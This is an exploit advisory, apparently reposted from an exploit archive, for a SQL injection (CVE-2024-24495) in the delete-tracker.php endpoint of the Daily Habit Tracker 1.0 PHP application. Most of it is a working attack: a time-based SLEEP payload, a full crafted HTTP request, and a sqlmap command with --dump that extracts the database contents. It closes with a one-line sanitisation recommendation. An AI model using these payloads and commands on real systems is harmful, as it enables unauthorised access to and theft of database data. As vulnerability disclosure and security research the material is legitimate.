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Daily Habit Tracker 1.0 - SQL Injection Vulnerability
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[Security Risk High
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# Exploit Title: Daily Habit Tracker 1.0 - SQL Injection # Exploit Author: Yevhenii Butenko # Vendor Homepage: https://www.sourcecodester.com # Software Link: https://www.sourcecodester.com/php/17118/daily-habit-tracker-using-php-and-mysql-source-code.html # Version: 1.0 # Tested on: Debian # CVE : CVE-2024-24495 ### SQL Injection: > SQL injection is a type of security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. Usually, it involves the insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system, and in some cases, issue commands to the operating system. ### Affected Components: > delete-tracker.php ### Description: > The presence of SQL Injection in the application enables attackers to issue direct queries to the database through specially crafted requests. ## Proof of Concept: ### Manual Exploitation The payload `'"";SELECT SLEEP(5)#` can be employed to force the database to sleep for 5 seconds: ``` GET /habit-tracker/endpoint/delete-tracker.php?tracker=5'""%3bSELECT+SLEEP(5)%23 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 ```  ### SQLMap Save the following request to `delete_tracker.txt`: ``` GET /habit-tracker/endpoint/delete-tracker.php?tracker=5 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 ``` Use `sqlmap` with `-r` option to exploit the vulnerability: ``` sqlmap -r ./delete_tracker.txt --level 5 --risk 3 --batch --technique=T --dump ``` ## Recommendations When using this tracking system, it is essential to update the application code to ensure user input sanitization and proper restrictions for special characters. # 0day.today [2024-11-16] #